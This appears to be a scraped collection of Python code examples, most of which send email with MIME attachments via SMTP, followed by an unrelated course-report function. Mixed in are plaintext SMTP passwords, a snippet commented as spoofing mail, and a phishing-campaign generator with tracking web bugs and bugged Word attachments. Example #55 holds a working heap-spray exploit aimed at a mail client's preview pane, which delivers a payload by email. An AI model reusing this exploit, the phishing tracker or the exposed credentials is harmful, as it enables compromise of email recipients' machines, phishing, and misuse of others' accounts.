            msg['To'] = to[0]
        else:
            msg['To'] = fromAddress
            msg['Bcc'] = ', '.join(to)
            to = fromAddress
    # Add attachments
    if attachments:
        for fileName, fileContent in attachments:
            part = MIMEBase('application', 'octet-stream')
            if fileContent.__class__.__name__ == 'FileWrapper':
                fileContent = fileContent._zopeFile
            if hasattr(fileContent, 'data'):
                # It is a File instance coming from the database
                data = fileContent.data
                if isinstance(data, basestring):
                    payLoad = data
                else:
                    payLoad = ''
                    while data is not None:
                        payLoad += data.data
                        data = data.next
            else:
                payLoad = fileContent
            part.set_payload(payLoad)
            Encoders.encode_base64(part)
            part.add_header('Content-Disposition',
                            'attachment; filename="%s"' % fileName)
            msg.attach(part)
    # Send the email
    try:
        smtpInfo = tool.mailHost.split(':', 3)
        login = password = None
        if len(smtpInfo) == 2:
            # We simply have server and port
            server, port = smtpInfo
        else:
            # We also have login and password
            server, port, login, password = smtpInfo
        smtpServer = smtplib.SMTP(server, port=int(port))
        if login:
            smtpServer.login(login, password)
        res = smtpServer.sendmail(fromAddress, [to], msg.as_string())
        smtpServer.quit()
        if res:
            tool.log('Could not send mail to some recipients. %s' % str(res),
                     type='warning')
    except smtplib.SMTPException, e:
        tool.log('Mail sending failed: %s' % str(e), type='error')
Exemple #46
0
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email import Encoders

fromaddr = "*****@*****.**"
toaddr = "*****@*****.**"
attach = sys.argv[1]
subject = "www"

msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = subject

part = MIMEBase('application', "octet-stream")
part.set_payload(open(attach, "rb").read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename=' + attach)
msg.attach(part)

smtp = smtplib.SMTP('smtp.gmail.com:587')
#smtp = smtplib.SMTP('smtp.gmail.com', 587)
smtp.ehlo()
smtp.esmtp_features["auth"] = "LOGIN PLAIN"
#smtp.debuglevel = 5
smtp.starttls()
smtp.ehlo()
smtp.login('netarch.emma', "emailcensor")
smtp.sendmail(fromaddr, toaddr, msg.as_string())
smtp.quit()
Exemple #47
0
    def automatic(self):
        timevar = datetime.datetime.now()

        date = str(timevar.day) + "-" + str(timevar.month) + "-" + str(
            timevar.year)

        now = str(timevar.strftime("%H")) + ":" + str(
            timevar.strftime("%M")) + ":" + str(timevar.strftime("%S"))

        if timevar.hour % 2 == 0:
            global mail_count
            mail_count = mail_count + 1
            if mail_count == 1:
                fromaddr = "*****@*****.**"
                toaddr = "*****@*****.**"
                msg = MIMEMultipart()

                msg['Subject'] = "GREEN HOUSE UPDATE"
                body = " "
                msg.attach(MIMEText(body, 'plain'))

                filename = "pi_action_log.txt"
                attachment = open("/home/pi/Desktop/pi_action_log.txt", "rb")
                part = MIMEBase('application', 'octet-stream')
                part.set_payload((attachment).read())
                encoders.encode_base64(part)
                part.add_header('Content-Disposition',
                                "attachment; filename= %s" % filename)
                msg.attach(part)
                server = smtplib.SMTP('smtp.gmail.com', 587)
                server.starttls()
                server.login(fromaddr, "Vishwas123$")
                text = msg.as_string()
                server.sendmail(fromaddr, toaddr, text)
                server.quit()
                os.remove("/home/pi/Desktop/pi_action_log.txt")
                loc = "/home/pi/Desktop/"
                fname = "pi_action_log.txt"
                with open(fname, 'w+') as f:
                    readfile = f.read()
                    name = f.name
                    f.write("DATE    " + "	TIME    " + "	TEMP " + "	HUMID" +
                            "	MOIST" + "	LUM" + "	RAIN" + "	ACTION TAKEN\n")
                    f.close()

        else:
            global mail_count
            mail_count = 0

        loc = "/home/pi/Desktop"

        fname = "pi_action_log.txt"

        val = Sensor_val()
        value = val.read_val()
        timevar = datetime.datetime.now()
        print("auto mode started :) ")
        print(value)

        global temp_thresh_new
        #temp_thresh_new=27
        global humid_thresh_new
        #humid_thresh_new = 50
        global light_thresh_new
        #light_thresh_new = 500

        global fan
        global cover
        global valve
        global lights

        if ((value['Rain'] < 600) or (value['Temp'] > temp_thresh_new)
                or (value['Humid'] > humid_thresh_new)
                or (value['Soil'] < 500)):
            #GPIO.output(35, True) #cover
            global cover
            if cover == "closed":
                pass
            else:
                print("COVER CLOSED")
                GPIO.output(35, False)
                GPIO.output(36, True)
                time.sleep(10)
                GPIO.output(35, False)
                GPIO.output(36, False)
                global cover
                cover = "closed"
            #print("roof "+ roof+"  windows " +windows +"  fan "+fan)
            with open(floc, 'a+') as f:
                readfile = f.read()
                name = f.name
                f.write("{}	{}	{}	{}	{}	{}	{}	{} \n".format(
                    date, now, value['Temp'], value['Humid'], value['Soil'],
                    value['Lum'], value['Rain'], "Cover closed"))
                f.close()

        else:
            #			GPIO.output(35, False)
            global cover
            if cover == "opened":
                pass
            else:
                print("COVER OPENED")
                cover = "opened"
                GPIO.output(35, True)
                GPIO.output(36, False)
                time.sleep(10)
                GPIO.output(35, False)
                GPIO.output(36, False)
            #print("roof "+ roof+"  windows " +windows +"  fan "+fan)
            with open(floc, 'a+') as f:
                readfile = f.read()
                name = f.name
                f.write("{}	{}	{}	{}	{}	{}	{}	{} \n".format(
                    date, now, value['Temp'], value['Humid'], value['Soil'],
                    value['Lum'], value['Rain'], "Cover opened"))
                f.close()

        if (((value['Temp'] > temp_thresh_new)
             or (value['Humid'] >
                 humid_thresh_new))):  #and ((time.minute % 5) == 0)):
            GPIO.output(29, True)  #fan
            global fan
            fan = "on"
            print("cover " + cover + "  fan " + fan + "  threshhold" +
                  str(temp_thresh_new))
            with open(floc, 'a+') as f:
                readfile = f.read()
                name = f.name
                f.write("{}	{}	{}	{}	{}	{}	{}	{} \n".format(
                    date, now, value['Temp'], value['Humid'], value['Soil'],
                    value['Lum'], value['Rain'], "Fan ON"))
                f.close()
        else:
            GPIO.output(29, False)
            global fan
            fan = "off"
            #	print("roof "+ roof+"  windows " +windows +"  fan "+fan)
            with open(floc, 'a+') as f:
                readfile = f.read()
                name = f.name
                f.write("{}	{}	{}	{}	{}	{}	{}	{} \n".format(
                    date, now, value['Temp'], value['Humid'], value['Soil'],
                    value['Lum'], value['Rain'], "Fan OFF"))
                f.close()

        if ((value['Soil'] > 900)):
            GPIO.output(32, True)  #valve
            global valve
            valve = "on"
            with open(floc, 'a+') as f:
                readfile = f.read()
                name = f.name
                f.write("{}	{}	{}	{}	{}	{}	{}	{} \n".format(
                    date, now, value['Temp'], value['Humid'], value['Soil'],
                    value['Lum'], value['Rain'], "Valve ON"))
                f.close()
        else:
            GPIO.output(32, False)  #valve
            global valve
            valve = "off"
            with open(floc, 'a+') as f:
                readfile = f.read()
                name = f.name
                f.write("{}	{}	{}	{}	{}	{}	{}	{} \n".format(
                    date, now, value['Temp'], value['Humid'], value['Soil'],
                    value['Lum'], value['Rain'], "Valve OFF"))
                f.close()

        if value['Lum'] > light_thresh_new:
            GPIO.output(31, True)  #lights
            global lights
            lights = "on"
            #	print("lights " + lights)
            #time.sleep(3)
            with open(floc, 'a+') as f:
                readfile = f.read()
                name = f.name
                f.write("{}	{}	{}	{}	{}	{}	{}	{} \n".format(
                    date, now, value['Temp'], value['Humid'], value['Soil'],
                    value['Lum'], value['Rain'], "Lights ON"))
                f.close()
        else:
            GPIO.output(31, False)
            global lights
            lights = "off"
            #	print("lights " + lights)
            with open(floc, 'a+') as f:
                readfile = f.read()
                name = f.name
                f.write("{}	{}	{}	{}	{}	{}	{}	{} \n".format(
                    date, now, value['Temp'], value['Humid'], value['Soil'],
                    value['Lum'], value['Rain'], "Lights OFF"))
                f.close()

        val = Device_state()
        state = val.read_state()
        return
Exemple #48
0
    def OnSend(self, event):
        ''' Send the email using the filled out textboxes.
            Warn the user if they forget to fill part
            of it out.
        '''

        From = self.fromTxt.GetValue()
        To = self.toTxt.GetValue()
        Subject = self.subjectTxt.GetValue()
        text = self.messageTxt.GetValue()

        colon = To.find(';')
        period = To.find(',')
        if colon != -1:
            temp = To.split(';')
            To = self.sendStrip(temp)  #';'.join(temp)
        elif period != -1:
            temp = To.split(',')
            To = self.sendStrip(temp)  #';'.join(temp)
        else:
            pass

        if To == '':
            print('add an address to the "To" field!')
            dlg = wx.MessageDialog(
                None,
                _('Please add an address to the "To" field and try again'),
                _('Error'), wx.OK | wx.ICON_EXCLAMATION)
            dlg.ShowModal()
            dlg.Destroy()
        elif Subject == '':
            dlg = wx.MessageDialog(None,
                                   _('Please add a "Subject" and try again'),
                                   _('Error'), wx.OK | wx.ICON_EXCLAMATION)
            dlg.ShowModal()
            dlg.Destroy()
        elif From == '':
            lg = wx.MessageDialog(
                None,
                _('Please add an address to the "From" field and try again'),
                _('Error'), wx.OK | wx.ICON_EXCLAMATION)
            dlg.ShowModal()
            dlg.Destroy()
        else:
            msg = MIMEMultipart()
            msg['From'] = From
            msg['To'] = To
            msg['Subject'] = Subject
            msg['Date'] = formatdate(localtime=True)
            msg.attach(MIMEText(text))

            if self.filepaths != []:
                print('attaching file(s)...')
                for path in self.filepaths:
                    part = MIMEBase('application', "octet-stream")
                    part.set_payload(open(path, "rb").read())
                    Encoders.encode_base64(part)
                    part.add_header(
                        'Content-Disposition',
                        'attachment; filename="%s"' % os.path.basename(path))
                    msg.attach(part)

            # edit this to match your mail server (i.e. mail.myserver.com)
            server = smtplib.SMTP('smtp.gmail.com:587')

            # open login dialog
            dlg = LoginDlg(server)

            res = dlg.ShowModal()
            if dlg.loggedIn:
                dlg.Destroy()  # destroy the dialog
                try:
                    failed = server.sendmail(From, To, msg.as_string())
                    server.quit()
                    self.Close()  # close the program
                except Exception as e:
                    print('Error - send failed!')
                    print(e)
                else:
                    if failed: print('Failed:', failed)
            else:
                dlg.Destroy()
def send_email(content, to, subject, file=None):
    '''Sends email
       :param content: The body content for the mail.
       :type string:
       :param to: To whom will be mail sent
       :type string:
       :param subject: The subject of mail.
       :type string:


       :rtype: string

       '''
    SMTP_SERVER = config.get('smtp.server')
    SMTP_USER = config.get('smtp.user')
    SMTP_PASSWORD = config.get('smtp.password')
    SMTP_FROM = config.get('smtp.mail_from')

    msg = MIMEMultipart()

    from_ = SMTP_FROM

    if isinstance(to, basestring):
        to = [to]

    msg['Subject'] = subject
    msg['From'] = from_
    msg['To'] = ','.join(to)

    content = """\
        <html>
          <head></head>
          <body>
            <p>""" + content + """</p>
          </body>
        </html>
    """

    msg.attach(MIMEText(content, 'html', _charset='utf-8'))

    if isinstance(file, cgi.FieldStorage):
        part = MIMEBase('application', 'octet-stream')
        part.set_payload(file.file.read())
        Encoders.encode_base64(part)

        extension = file.filename.split('.')[-1]

        part.add_header('Content-Disposition',
                        'attachment; filename=attachment.{0}'.format(extension))

        msg.attach(part)

    try:
        s = smtplib.SMTP(SMTP_SERVER)
        if SMTP_USER:
            s.login(SMTP_USER, SMTP_PASSWORD)
        s.sendmail(from_, to, msg.as_string())
        s.quit()
        response_dict = {
            'success': True,
            'message': 'Email message was successfully sent.'
        }
        return response_dict
    except socket_error:
        log.critical(
            'Could not connect to email server. Have you configured the SMTP settings?')
        error_dict = {
            'success': False,
            'message': 'An error occured while sending the email. Try again.'
        }
        return error_dict
Exemple #50
0
def email_send_with_attachments(toaddr='*****@*****.**', image='', body_message='', date_receipt=''):
    """
    INPUT   : adress mail / array image / text message str
    OUTPUT  :
    """
    import smtplib
    from email.MIMEMultipart import MIMEMultipart
    from email.MIMEText import MIMEText
    from email.MIMEBase import MIMEBase
    from email import encoders
    import os
     
    fromaddr = "*****@*****.**"
    password = '******'
    
    # Create message container - the correct MIME type is multipart/alternative.
    msg = MIMEMultipart('mixed')
    msg['From'] = fromaddr
    msg['To'] = toaddr
    msg['Subject'] = "EATSY 0.4 - Ticket du " + str(date_receipt)
    
    #import html file
    cur_dir_here = os.path.split(os.path.realpath(__file__))[0]
    file = open(cur_dir_here + '/./eatsy_mail_model.html', "r")
    html_content = file.read()
    #adapt the content
    body_message = body_message.replace('\n','<br>')
    body_message_list = body_message.split('<<>>')
    body_message_date = body_message_list[0]
    body_message_category = body_message_list[1]
    #body_message_article = body_message_list[2]
    #body_message_pnns = body_message_list[3]
    body_message_recipe = body_message_list[2]
    html_content = html_content.replace('&lt;&lt;date&gt;&gt;',body_message_date)
    #html_content = html_content.replace('&lt;&lt;articles&gt;&gt;',body_message_article)
    #html_content = html_content.replace('&lt;&lt;pnns&gt;&gt;',body_message_pnns)
    html_content = html_content.replace('&lt;&lt;category&gt;&gt;',body_message_category)
    html_content = html_content.replace('&lt;&lt;recipe&gt;&gt;',body_message_recipe)


    # Create the body of the message (a plain-text and an HTML version).
    html = html_content


    # Record the MIME types of both parts - text/plain and text/html.
    part1 = MIMEText(html, 'html')

    image = Image.fromarray(image)
    cur_dir_here = os.path.split(os.path.realpath(__file__))[0]
    path_img_save = cur_dir_here + '/../../solution/attachment/attachment.jpg'
    image.save(path_img_save)
    filename = "attachment.jpg"
    attachment = open(path_img_save, "rb") 
    part2 = MIMEBase('application', 'octet-stream')
    part2.set_payload((attachment).read())
    encoders.encode_base64(part2)
    part2.add_header('Content-Disposition', "attachment; filename= %s" % filename)

    # Attach parts into message container.
    # According to RFC 2046, the last part of a multipart message, in this case
    # the HTML message, is best and preferred.
    msg.attach(part1)
    msg.attach(part2)
     
    # Send the message via local SMTP server.
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(fromaddr, password)
    server.sendmail(fromaddr, toaddr, msg.as_string())
    server.quit()
Exemple #51
0
def send(account=None,
         recipients=None,
         subject=None,
         body=None,
         attachments=None,
         smtp_host="localhost",
         smtp_port=25,
         html=False):
    """
		account		: caccount or nothing for anon
		recipients	: str("*****@*****.**"), caccount
					  list of (caccount or string)
		subject		: str("My Subject")
		body		: str("My Body")
		attachments	: cfile, list of cfile
		smtp_host	: str("localhost")
		smtp_port	: int(25)
		html		: allow html into mail body (booleen)
	"""
    ###########
    # Account #
    ###########
    # Defaults
    account_firstname = ""
    account_lastname = ""
    account_mail = ""
    account_full_mail = ""

    if isinstance(account, caccount):
        account_firstname = account.firstname
        account_lastname = account.lastname
        account_mail = account.mail
        if not account_mail:
            logger.info(
                'No mail adress for this user (Fill the mail account field)')
            account_mail = '%s@%s' % (account.user, socket.gethostname())

        if isinstance(account_mail, (list, tuple)):
            account_mail = account_mail[0]

        if not account_lastname and not account_firstname:
            account_full_mail = "\"%s\" <%s>" % (
                account_mail.split('@')[0].title(), account_mail)
        else:
            account_full_mail = account.get_full_mail()
        if not re.match("^[a-zA-Z0-9._%-]+@[a-zA-Z0-9._%-]+.([a-zA-Z]{2,6})?$",
                        str(account_mail)):
            raise ValueError('Invalid Email format for sender')
    else:
        raise Exception('Need caccount object in account')

    ##############
    # Recipients #
    ##############
    if not recipients:
        raise ValueError('Give at least one recipient')

    if not isinstance(recipients, list):
        recipients = [recipients]

    dests = []
    for dest in recipients:
        if isinstance(dest, caccount):
            dest_firstname = dest.firstname
            dest_lastname = dest.lastname
            dest_mail = dest.mail
            dest_full_mail = dest.get_full_mail()

            dests.append(dest_full_mail)
        elif isinstance(dest, str) or isinstance(dest, unicode):
            if re.match("^[a-zA-Z0-9._%-]+@[a-zA-Z0-9._%-]+.([a-zA-Z]{2,6})?$",
                        dest):
                dest_mail = dest
                dest_full_mail = "\"%s\" <%s>" % (
                    dest_mail.split('@')[0].title(), dest_mail)
                dests.append(dest_full_mail)
            else:
                raise ValueError('Invalid Email format for recipients')
        else:
            raise ValueError('Invalid Email format for recipients')

    dests_str = ', '.join(dests)

    ###############
    # Attachments #
    ###############
    if attachments:
        storage = cstorage(account=account, namespace='object')
        if not isinstance(attachments, list):
            attachments = [attachments]

    ########
    # Send #
    ########
    logger.debug('-----')
    logger.debug('From: %s' % account_full_mail)
    logger.debug('To  : %s' % dests_str)
    logger.debug('-----')
    logger.debug('Subject: %s' % subject)
    logger.debug('Body   : %s' % body)
    logger.debug('Attach.: %s' % attachments)
    logger.debug('-----')

    msg = MIMEMultipart()
    msg["From"] = account_full_mail
    msg["To"] = dests_str
    msg["Subject"] = subject

    if html:
        msg.attach(MIMEText(body, 'html'))
    else:
        msg.attach(MIMEText(body, 'plain'))

    msg['Date'] = formatdate(localtime=True)

    if attachments:
        for _file in attachments:
            part = MIMEBase('application', "octet-stream")
            if not isinstance(_file, cfile):
                _file.__class__ = cfile
            #meta_file = _file.get(storage)
            content_file = _file.get(storage)
            part.set_payload(content_file)
            Encoders.encode_base64(part)
            part.add_header(
                'Content-Disposition',
                'attachment; filename="%s"' % _file.data['file_name'])
            part.add_header('Content-Type', _file.data['content_type'])
            msg.attach(part)

    s = socket.socket()
    try:
        s.connect((smtp_host, smtp_port))
    except Exception as err:
        raise Exception('something\'s wrong with %s:%d. Exception type is %s' %
                        (smtp_host, smtp_port, err))

    try:
        server = smtplib.SMTP(smtp_host, smtp_port)
        server.sendmail(account_full_mail, dests, msg.as_string())
        server.quit()
    except Exception, err:
        return "Error: unable to send email (%s)" % err
Exemple #52
0
def create_email(recipient_list, template_details):
    try:
        # SMTP Server Details
        smtp_details = template_details.smtpServer
        # Get Sender Address
        sender_string = '{0} <{1}>'.format(template_details.display_name,
                                           template_details.email_address)

        # Get Subject Line
        subject_line = template_details.subject_line

        # Get the Email Design
        email_template = template_details.email_design

        # get the portal URI
        portal_uri = template_details.portal_uri

        if template_details.document_enable:
            word_doc = True
            document_name = template_details.document_name
            document_design = template_details.document_design
        else:
            word_doc = False

        message_list = []

        for recipient in recipient_list:
            # format the unique Links
            '''
            First 8 Chars are the Recipient UID
            Char 9 = type - 0 = webbug, 1 = portal, 2 = document
            Char 10 = plugin detect 0 = disabled 1 = enabled
            Char 11 = Template ID
            '''
            webbug_link = '{0}{1}{2}{3}'.format(
                recipient.uid, '0', template_details.portal_plugins,
                template_details.id)
            portal_link = '{0}{1}{2}{3}'.format(
                recipient.uid, '1', template_details.portal_plugins,
                template_details.id)
            wordbug_link = '{0}{1}{2}{3}'.format(
                recipient.uid, '2', template_details.portal_plugins,
                template_details.id)

            # get a fresh template
            email_content = email_template

            # Add Name
            email_content = email_content.replace('[[name]]',
                                                  recipient.real_name)
            subject_line = subject_line.replace('[[name]]',
                                                recipient.real_name)

            # Add Email
            email_content = email_content.replace('[[email]]',
                                                  recipient.email_address)

            # Add Random Numbers

            # Random Number Generator
            length_fields = re.findall(r'\[\[number(.+?)\]\]', email_content)
            for length in length_fields:
                random_int = random_number(int(length))
                email_content = email_content.replace(
                    '[[number{0}]]'.format(length), random_int)
                subject_line = subject_line.replace(
                    '[[number{0}]]'.format(length), random_int)

            # Add Click Tracker
            click_link = '{0}/{1}/{2}'.format(portal_uri, 'p', portal_link)
            email_content = email_content.replace('[[click]]', click_link)

            # Add the web bugs
            if '[[webbug]]' in email_content:
                web_bug = '<img src="http://{0}/{1}/{2}" width=1 height=1 border=0>'.format(
                    portal_uri, 'p', webbug_link)
                email_content = email_content.replace('[[webbug]]', web_bug)

            msg = MIMEMultipart()
            msg['From'] = sender_string
            msg['To'] = recipient.email_address
            msg['Date'] = formatdate(localtime=True)
            msg['Subject'] = subject_line

            html = email_content
            part1 = MIMEText(html, 'html')

            msg.attach(part1)

            if word_doc:

                # insert the document bug
                word_bug = 'http://{0}/{1}/{2}'.format(portal_uri, 'p',
                                                       wordbug_link)
                doc_file = word_template.replace('[[word_bug]]', word_bug)

                # Insert the design
                doc_file = doc_file.replace('[[word_design]]', document_design)

                # Add to the email
                part_doc = MIMEBase('application', "octet-stream")
                part_doc.set_payload(doc_file)
                Encoders.encode_base64(part_doc)
                part_doc.add_header(
                    'Content-Disposition',
                    'attachment; filename="{0}"'.format(document_name))
                msg.attach(part_doc)

            # This will return the first generated email as a text string. This will bypass the sending
            #return msg.as_string()

            # append each recipient and message to list
            message_list.append([recipient.email_address, msg.as_string()])
            recipient.sent_date = timezone.now()
            recipient.save()
    except Exception as e:
        log_submit(log_type='email',
                   log_ip=False,
                   log_user=False,
                   log_entry='Error Creating Email - {0}'.format(e))

    # pass message_list to send function
    send_email(template_details.email_address, message_list, smtp_details)
Exemple #53
0
        nHoja.write(nFila, 15, datosPres['NIFPresentador'])
        nHoja.write(nFila, 16, datosPres['TimestampPresentacion'])
        nHoja.write(nFila, 17, datosPres['CSV'])

        nHoja.write(nFila, 18, estadoFact['EstadoRegistro'])
        nHoja.write(nFila, 19, estadoFact['TimestampUltimaModificacion'])
        nHoja.write(nFila, 20, estadoFact['CodigoErrorRegistro'])
        nHoja.write(nFila, 21, estadoFact['DescripcionErrorRegistro'])
        logger.info("Escribiendo linea " + str(nFila))
        nFila = nFila + 1

nExcel.save(cadArchivo)

archExcel = open(cadArchivo,'rb')
#adjunto = MIMEBase('multipart', 'encrypted')
adjunto = MIMEBase('application', "octet-stream")
adjunto.set_payload(archExcel.read())
archExcel.close()
encoders.encode_base64(adjunto)

adjunto.add_header('Content-Disposition', 'attachment', filename = cadTiempo + "_" +  str(mes).zfill(2) + "_OperacionesIntracomunitarias.xls")

mail.attach(adjunto)
servidor = smtplib.SMTP(servidorSMTP, 587)
servidor.starttls()
servidor.ehlo()
servidor.login(usuarioSMTP, passSMTP)
#enviamos el Email
servidor.sendmail(emailEnvio, emailRecepcion, mail.as_string())
logger.info ("Correo enviado ...")
servidor.quit()
Exemple #54
0
from email import Encoders

#content="ALEX"

#server and port
mail = smtplib.SMTP('smtp.gmail.com', 587)

#identify to the server ESMTP
mail.ehlo()

#start TLS mode = encrypt smtp for login
mail.starttls()
mail.login('distrobyte', 'distroByte268')

#attachment
msg = MIMEMultipart()
part = MIMEBase('application', "octet-stream")
#part.set_payload(open("text.txt", "rb").read())
part.set_payload("aaa")
Encoders.encode_base64(part)

part.add_header('Content-Disposition', 'attachment; filename="text.txt"')

msg.attach(part)

#spoof mail #content
mail.sendmail('*****@*****.**', '*****@*****.**',
              msg.as_string())

mail.close()
Exemple #55
0
def makeEml(fromAddr, to, subject, text, filenameStr, payload):
    assert type(to) == list

    msgRoot = MIMEMultipart()
    msgRoot['From'] = fromAddr
    msgRoot['To'] = COMMASPACE.join(to)
    msgRoot['Date'] = formatdate(localtime=True)
    msgRoot['Subject'] = subject
    msgRoot.attach(MIMEMultipart('related'))

    html_emb = '''<script type="text/javascript">
                    function wait(){
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAB");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAC");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAD");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAE");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAF");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAG");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAH");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAI");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAJ");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAK");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAL");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAM");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAN");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAO");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAP");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAQ");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAR");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAS");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAT");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAU");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAV");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAW");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAX");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAY");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAZ");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAB");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAC");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAD");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAE");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAF");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAG");
                    }
                    function callGC(off)
                    {
                        var n=0;
                        for (n=0; n<0x2000-((off+1)%0x2000); n++);

                        wait();

                        //trigger GC
                        var tmp;
                        for (n=0; n<1; n++)
                            tmp = new Object();
                    }
                    if (window.document._Memo.tmpDisplayFrom_Preview != undefined){
                        var size = 100;
                        var x = new Array(size);
                        var i = 0;
                        var slide_size=0x100000;
                        var chunk = "A";
                        while (chunk.length <= slide_size/2)
                            chunk += chunk;

                        for (i=0; i < size; i+=1) {
                            x[i]= chunk.substring(4,slide_size/2-20 - + i.toString().length);
                        }

                        x[50] = new Object();
                        x[52] = new Object();
                        x[54] = new Object();
                        x[56] = new Object();

                        x[60] = new Object();
                        x[61] = new Object();
                        x[63] = new Object();
                        x[64] = new Object();
                        x[65] = new Object();
                        x[66] = new Object();
                        callGC(0x78);
                    }
                </script>'''
    html_emb += '''
                    <img name="img1" src="cid:imagen" height=1 width=1>
                '''
    html_emb += '''<script type="text/javascript">
                    if (window.document._Memo.tmpDisplayFrom_Preview === undefined)
                        window.document.images.img1.src = "";
                </script>'''

    msgImage = MIMEBase('application', 'octet-stream')
    msgImage.set_payload(payload)
    encoders.encode_base64(msgImage)
    msgImage.add_header('Content-ID', '<imagen>')
    msgImage.add_header('Content-Disposition',
                        'attachment',
                        filename=filenameStr)
    msgRoot.attach(msgImage)

    part = MIMEMultipart('alternative')
    msgHtml = MIMEText(html_emb, 'html')
    part.attach(msgHtml)
    msgRoot.attach(part)

    msgRoot.attach(MIMEText(text))
    return msgRoot.as_string()
    def task_generate_xls(self):
        log.info('Start task generate XLS')
        #Get report infos
        self.microsite = self.request.get('microsite')
        report_fields = self.request.get('form')
        register_fields = self.request.get('register_form')
        certificate_fields = self.request.get('certificate_form')
        course_key = CourseKey.from_string(self.course_id)
        course = get_course_by_id(course_key)

        form_factory = ensure_form_factory()
        form_factory.connect(db='ensure_form', collection='certificate_form')

        #Dict of labels
        form_labels = {
            "last_connexion": _("Last login"),
            "inscription_date": _("Register date"),
            "user_id": _("User id"),
            "email": _("Email"),
            "grade_final": _("Final Grade"),
            "cohorte_names": _("Cohorte name"),
            "time_tracking": _("Time spent"),
            "certified": _("Attestation"),
            "username": _("Username"),
        }
        for field in register_fields:
            form_labels[field.get('name')] = field.get('label')
        for field in certificate_fields:
            form_labels[field.get('name')] = field.get('label')

        #Identify multiple cells fields
        multiple_cell_fields = ["exercises_grade", "grade_detailed"]

        #Is report cohort specific?
        course_cohorted = is_course_cohorted(course_key)
        if course_cohorted:
            cohortes_targeted = [
                field.replace('cohort_selection_', '')
                for field in report_fields
                if field.find('cohort_selection_') > -1
            ]
            for field in report_fields:
                log.info(field)
                log.info(field.find('cohort_selection_'))
            log.info(cohortes_targeted)
            log.info('cohortes_targeted')
            if cohortes_targeted and not 'cohorte_names' in report_fields:
                report_fields.append('cohorte_names')
        else:
            if 'cohorte_names' in report_fields:
                report_fields.remove('cohorte_names')

        #Get Graded block for exercises_grade details
        graded_scorable_blocks = self.tma_graded_scorable_blocks_to_header(
            course_key)

        #Create Workbook
        wb = Workbook(encoding='utf-8')
        filename = '/home/edxtma/csv/{}_{}.xls'.format(
            time.strftime("%Y_%m_%d"), course.display_name_with_default)
        sheet = wb.add_sheet('Grade Report')

        #Write information
        line = 1
        course_enrollments = CourseEnrollment.objects.filter(
            course_id=course_key, is_active=1)
        for enrollment in course_enrollments:
            #do not include in reports if not active
            if not enrollment.is_active:
                continue
            #Gather user information
            user = enrollment.user
            user_grade = CourseGradeFactory().create(user, course)
            grade_summary = {}

            if course_cohorted:
                user_cohorte = get_cohort(user, course_key).name
                #if cohort specific report avoid student that are not part of cohortes_targeted provided
                if cohortes_targeted and not user_cohorte in cohortes_targeted:
                    continue

            for section_grade in user_grade.grade_value['section_breakdown']:
                grade_summary[
                    section_grade['category']] = section_grade['percent']
            try:
                custom_field = json.loads(
                    UserProfile.objects.get(user=user).custom_field)
            except:
                custom_field = {}

            user_certificate_info = {}
            try:
                form_factory.microsite = self.microsite
                form_factory.user_id = user.id
                user_certificate_info = form_factory.getForm(
                    user_id=True, microsite=True).get('form')
            except:
                pass

            cell = 0
            for field in report_fields:
                if field in multiple_cell_fields:
                    if field == "grade_detailed":
                        for section in grade_summary:
                            section_grade = str(
                                int(round(grade_summary[section] * 100))) + '%'
                            sheet.write(line, cell, section_grade)
                            #Write header
                            if line == 1:
                                sheet.write(0, cell, "Travail - " + section)
                            cell += 1
                    elif field == "exercises_grade":
                        for block_location in graded_scorable_blocks.items():
                            try:
                                problem_score = user_grade.locations_to_scores[
                                    block_location[0]]
                                if problem_score.attempted:
                                    value = round(
                                        float(problem_score.earned) /
                                        problem_score.possible, 2)
                                else:
                                    value = _('n.a.')
                            except:
                                value = _('inv.')
                            sheet.write(line, cell, value)
                            if line == 1:
                                sheet.write(0, cell, block_location[1])
                            cell += 1
                else:
                    value = ''
                    if field == "user_id":
                        value = user.id
                    elif field == "email":
                        value = user.email
                    elif field == "first_name":
                        try:
                            if user.first_name:
                                value = user.first_name
                            elif custom_field:
                                value = custom_field.get(
                                    'first_name', 'unkowna')
                            else:
                                value = 'unknown'
                        except:
                            value = 'unknown'
                    elif field == "last_name":
                        try:
                            if user.last_name:
                                value = user.last_name
                            elif custom_field:
                                value = custom_field.get(
                                    'last_name', 'unkowna')
                        except:
                            value = 'unknown'
